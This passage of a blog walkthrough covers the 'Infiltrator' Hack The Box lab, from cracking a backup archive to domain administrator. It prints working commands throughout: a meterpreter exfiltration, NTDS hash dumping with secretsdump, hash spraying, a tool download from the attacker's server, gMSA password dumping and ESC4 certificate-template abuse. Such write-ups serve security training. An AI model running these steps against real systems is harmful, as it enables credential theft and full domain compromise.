Referer: http://192.168.1.106:5000/files
Authorization: b0439fae31f8cbba6294af86234d5a28
new_auth_token: M@rtinez_P@ssw0rd!
Origin: http://192.168.1.106:5000
Connection: keep-alive
Cookie: session=eyJhdXRob3JpemF0aW9uIjoic2VjdXJlcGFzc3dvcmQifQ.ZdkzzA.K3sT3Ai7Sa9zWQDts-DMTRfp39Y
Content-Length: 0

The new_auth_token custom header gives it away: this is clearly a password related to o.martinez, M@rtinez_P@ssw0rd!.

Bitlocker-backup.7z

🙂 The good news is that saving the file worked perfectly. Our system recognizes it as a valid 7z archive:

Extracting bitlocker backup 0

☹️ The bad news is that it’s password-protected:

Extracting bitlocker backup 1

I tried all of the known credentials from this box, but none worked on this 7z archive…

Cracking the password

Do not despair - it’s still possible that the password can be cracked. We’ll use 7z2john to extract the password hash in a crackable format:

7z2john Bitlocker-backup.7z | tee Bitlocker-backup.7z.hash

Note that this records the hash in filename:hash format (as if the filename were a username)

We can crack it using hashcat, which immediately recognizes the correct hash mode as 11600:

WLIST=/usr/share/wordlists/rockyou.txt
hashcat BitLocker-backup.7z.hash $WLIST --username

🐢 My usual laptop was only running at 17 H/s, so I switched to my other laptop (with a GPU)…

🔥 Speeds improved to 3800 H/s. Hardware matters!

Alright! We cracked it in about 30s. The password is ilovedaddy 😁

Examining the contents

Now that we have the password, let’s extract it and see what’s inside:

7z x Bitlocker-backup.7z # Password: ilovedaddy

🤕 Huh? ERROR: Data Error in encrypted file. Wrong password? …but it cracked fine. What’s going on?

I guess I’ll try it with john instead of hashcat?

john --wordlist=/usr/share/wordlists/rockyou.txt --format=7z BitLocker-backup.7z.hash

After nearly 5 minutes, we’ve cracked it:

john success

john has cracked the password, but found it to be zipper. Unclear why the two tools would come up with different hashes… Whatever 🙄

7z x Bitlocker-backup.7z # Password: zipper

Extracting bitlocker backup 2

Thank goodness! Everything is Ok 🤗

There is just a single file inside the extracted archive, Microsoft account _ Clés de récupération BitLocker.html (that’s french for “Microsoft account _ Bitlocker recovery keys”):

bitlocker html page

Check out the ID de la clé - We’ve seen that before, back when we first saw the E:\ drive Bitlocker prompt (specifically, the recovery method). Let’s check out that disk!

650540-413611-429792-307362-466070-397617-148445-087043

Applying the above recovery key, we can finally unlock the E:\ drive. Oddly, there’s only one thing inside:

E drive contents

In that folder, we see most of the typical top-level folders of the C:\ drive. However, they’re all empty except for Users:

E drive contents 2

Actually, as far as I can tell, there’s only one file in this whole thing - a very interesting looking file called Backup_Credentials.7z, under C:\Users\Administrator\Documents:

E drive contents 3

Using my meterpreter session, I’ll exfil the file to my attacker host:

E drive contents exfil

Backup_Credentials.7z

Let’s extract the archive. Thankfully, this one isn’t password protected:

7z x Backup_Credentials.7z

Wow - it wasn’t kidding. We’re looking at a dump of the credentials in the registry and the NTDS Active Directory database:

Backup credentials 1

If we also had the SAM file under registry we could dump all of the password hashes in either of these two ways:

samdump2 -o sam.hashes SYSTEM SAM
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

If we had the privileges to do so, we could have dumped these three important registry files like this:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

However, both of the above methods require the SAM file, and we can’t get it.

Thankfully, the ntds.dit file can also be used for obtaining credentials; we require the following

  • ntds.dit
    • Get it with ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
  • SYSTEM registry file
    • Get it with reg save HKLM\system SYSTEM

We can extract hashes from the ntds.dit file like this:

secretsdump.py LOCAL -ntds Active\ Directory/ntds.dit -system registry/SYSTEM -outputfile credentials.txt

secretsdump

Excellent! If we’re only after the NT hashes, we can look inside the resulting credentials.txt.ntds file. Better yet, let’s extract all the hashes:

grep -oE '[0-9a-f]{32}:::$' credentials.txt.ntds | tr -d ':' | tee backup_NT_hashes.txt

Now try spraying hashes at the target:

nxc smb dc01.infiltrator.htb -u domain_users.txt -H backup_NT_hashes.txt --continue-on-success
nxc ldap dc01.infiltrator.htb -u domain_users.txt -H backup_NT_hashes.txt --continue-on-success

No luck, except for l.clark.

Hacktricks suggests another technique, exporting the NTDS to an SQLite database (supplemented by the SYSTEM registry file). For this, we can use ntdsdotsqlite:

python3 -m pipx install ntdsdotsqlite
ntdsdotsqlite Active\ Directory/ntds.dit -o ntds.sqlite --system registry/SYSTEM

This (very rapidly) exports the whole NTDS to an SQLite database. We can then open it in any database viewer, including sqlite3 - when there’s a big schema to explore, my preferred tool is DBeaver:

DBeaver

The user_accounts table seems a likely place to look. Instead of sifting through the data manually, we can execute a simple query to get just the essential columns:

SELECT id, samaccountname, nthash, description FROM user_accounts;

ntds.sqlite lan_manager credential

🎉 There’s a password in the Description field, suggesting the credential lan_managment : l@n_M@an!1331

This is from a backup though, so let’s validate it:

nxc smb dc01.infiltrator.htb -u 'lan_managment' -p known_passwords.txt

checking lan_managment password

lan_managment

⚠️ Not sure if it’s a result of translation between languages, but note that the username is lan_managment, not lan_management.

We already know from Bloodhound that lan_managment has a very special outbound privilege:

lan_management bloodhound

Yep, that’s right - lan_managment can read the gMSA password for the high-value-target infiltrator_svc$

The infiltrator_svc$ service account has permissions to enroll with ANY certificate, which would allow us to escalate to Administrator easily. Bloodhound summarizes the privesc path nicely:

privilege escalation plan

RCE

Using my current reverse shell as o.martinez, I’ll use RunasCs.exe to pop a new reverse shell as lan_managment:

cd C:\Users\o.martinez\AppData\Local\Temp
iwr http://10.10.14.13:8001/RunasCs.exe -O RunasCs.exe
.\RunasCs.exe lan_managment l@n_M@an!1331 "cmd /c whoami /all"
# [-] RunasCsException: Selected logon type '2' is not granted to the user 'lan_managment'. Use available logon type '3'

However, when I try logon type 2, I get the same error!

We can try executing some commands over SMB, as well:

nxc smb dc01.infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331' -x whoami

The nxc command runs successfully, but it doesn’t seem like the whoami command ran. I also tested the same thing with curl request to my attacker-controlled HTTP server, and came to the same conclusion - no code execution!

gMSA Password

Instead of messing around with a reverse shell or any other RCE, let’s go straight to the goal and attempt to get the gMSA password for infiltrator_svc$. We can do this using gMSADumper:

python3 gMSADumper.py -u 'lan_managment' -p 'l@n_M@an!1331' -d 'infiltrator.htb'

gmsa password dumped

It worked perfectly. We remotely obtained the NT hash of infiltrator_svc$: 3e5be8f399a35508cb463f66afcf8ab0

Certificate Abuse - ESC4

Summary

To put it in one sentence, ESC4 is when we have the ability to write or reconfigure certificate templates, thereby allowing us to create (or modify into) a flawed template that is vulnerable to ESC1.

It means we’re only one step away from the same privesc technique that was used in Escape and Authority 👍

I’ve encountered ESC4 once before. However, since it was for a box released after Infiltrator, I cannot link to it directly. If my walkthrough for that box is published by the time you’re reading this, you can easily find it by searching for “ESC4” on my blog.

Confirmation of vulnerability

We can use certipy to check for templates vulnerable to the provided user (in this case, infiltrator_svc$). It’s available on pip if you don’t already have it:

python3 -m pipx install certipy-ad

Thankfully, we can use either a cleartext password or NT hash for authentication. This is how we can check for vulnerable templates:

certipy find -vulnerable -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0'

This should produce a .txt and a .json file. Shown below, the txt file verifies vulnerability to the ESC4 strategy:

Certificate Templates
  0
    Template Name                       : Infiltrator_Template
    Display Name                        : Infiltrator_Template
    Certificate Authorities             : infiltrator-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          PendAllRequests
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Smart Card Logon
                                          Server Authentication
                                          KDC Authentication
                                          Client Authentication
    Requires Manager Approval           : True
    Requires Key Archival               : False
    Authorized Signatures Required      : 1
    Validity Period                     : 99 years
    Renewal Period                      : 650430 hours
    Minimum RSA Key Length              : 2048
    Permissions
      Object Control Permissions
        Owner                           : INFILTRATOR.HTB\Local System
        Full Control Principals         : INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
        Write Owner Principals          : INFILTRATOR.HTB\infiltrator_svc
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
        Write Dacl Principals           : INFILTRATOR.HTB\infiltrator_svc
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
        Write Property Principals       : INFILTRATOR.HTB\infiltrator_svc
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
    [!] Vulnerabilities
      ESC4                              : 'INFILTRATOR.HTB\\infiltrator_svc' has dangerous permissions

ESC4 with Certipy

Bloodhound-CE does a nice job of outlining the whole attack for ESC4, since it takes a few steps. Bloodhound starts at step (0), in case we only have WriteOwner or WriteDacl permissions on the certificate template. Since infiltrator_svc$ already has WriteProperty permissions on the vulnerable template (FullControl would work, too!), we can skip ahead to step (1).

First, we need to modify the certificate template in a way to make it vulnerable to ESC1. This means editing it so that the template accepts a Subject Alternate Name provided by the user. After we make this modification, the attack is identical to ESC1:

For an easy-to-follow guide, check out the ESC4 section on The Hacker Recipes

# Modify template to make it vulnerable to ESC1
certipy template -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -template 'Infiltrator_Template' -save-old
# Copy the backup file, in case we make multiple attempts
cp Infiltrator_Template.json Infiltrator_Template.json.bak

Now we follow the ESC1 procedure. Effectively, we just submit a certificate signing request (CSR) for the now-modified template and provide whatever Subject Alternate Name that we want. Of course, we will go straight for Administrator 😉

certipy req -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -target 'dc01.infiltrator.htb' -ca 'infiltrator-DC01-CA' -template 'Infiltrator_Template' -upn 'Administrator'

I tried this a couple times, and got errors:

ESC4 error 1

ESC4 error 2

Thinking back to my experience on previous boxes, I realized that this was probably a result of an overly-eager cleanup script. To overcome this, we just need to work a little faster - let’s just submit all three commands in rapid succession:

certipy template -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -template 'Infiltrator_Template' -save-old; 
cp Infiltrator_Template.json Infiltrator_Template.json.bak; 
certipy req -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -target 'dc01.infiltrator.htb' -ca 'infiltrator-DC01-CA' -template 'Infiltrator_Template' -upn 'Administrator'

ESC4 all at once

😂 Alright! We got the administrator.pfx file! We can use this with tools like Rubeus (or certipy itself) to authenticate as administrator.

Restore original template

Now that we have the .pfx file, we can clean up after ourselves by restoring the original template. It’s good practice to do this manually instead of relying on the box’s cleanup scripts:

# Restore the template to original state
certipy template -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -template 'Infiltrator_Template' -configuration Infiltrator_Template.json
# Delete the extra backup we took; we don't need it anymore
rm Infiltrator_Template.json.bak Infiltrator_Template.json

Pass the Cert

Now that we have a .pfx file for the adminstrator account, we have several options for authentication, all of which fall under the term “Pass the Cert”:

  • Rubeus.exe: Useful if we want to authenticate from Windows
  • Certipy: Easy and convenient from Linux; produces an NT hash for us.
  • PKINITTools gettgtpkinit.py: Used twice already on this box; produces a TGT from a .pfx signed authentication certificate.
    • Can further be used with PKINITTools getnthash.py to grab the NT Hash
  • PassTheCert.py: Can be used if PKINIT is disabled on the target host.

The choice of tool depends on the constraints of the target, and what authentication artifact you want.

✅ Since an NT hash would be perfect for us, let’s just continue to use certipy:

certipy auth -pfx administrator.pfx -dc-ip $RADDR -username 'Administrator' -domain 'infiltrator.htb'

Pass the cert for adminstrator NT hash

😁 By passing the cert, we’ve obtained the administrator NT hash. We already know that administrator is a member of Remote Management Users, so we should be able to log in over WinRM:

evil-winrm -i dc01.infiltrator.htb -u 'Administrator' -H '1356f5............1121a1'

got root flag

victory at last

Finish off the box by reading the flag:

type C:\Users\Administrator\Desktop\root.txt

CLEANUP

Target

I’ll get rid of the spot where I place my tools, each user’s Temp directory:

Remove-Item -Path "C:\Users\m.harris\AppData\Local\Temp\*" -Recurse -Force
Remove-Item -Path "C:\Users\winrm_svc\AppData\Local\Temp\*" -Recurse -Force
Remove-Item -Path "C:\Users\o.martinez\AppData\Local\Temp\*" -Recurse -Force

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf loot/Backup_Credentials/registry 
rm -rf loot/Backup_Credentials/Active\ Directory

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • Shadow Credentials? Get the NT hash too! Whenever you perform a shadow credentials attack using pywhisker, the output suggests that you use PKINITtools to obtain the TGT (using gettgtpkinit.py). It’s a great suggestion, and that TGT is enough to allow you to authenticate using Kerberos. However, some tools just don’t play nice with Kerberos, and would rather use an NT hash. Lucky for us, PKINITtools has another utility called getnthash.py, which takes the outputs of gettgtpkinit.py (the ASREP hash and the TGT) to snatch the NT hash for us. Super handy!

  • Remember the name of the concept, not the name of the tool. On this box, I ran into the concept of “pass the cert” on three occasions. Each situation was slightly different, but it’s not terribly difficult to find the right tool for each niche situation, as long as you remember the name of the general concept. Without knowing the name, it’s very difficult to search for tools.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake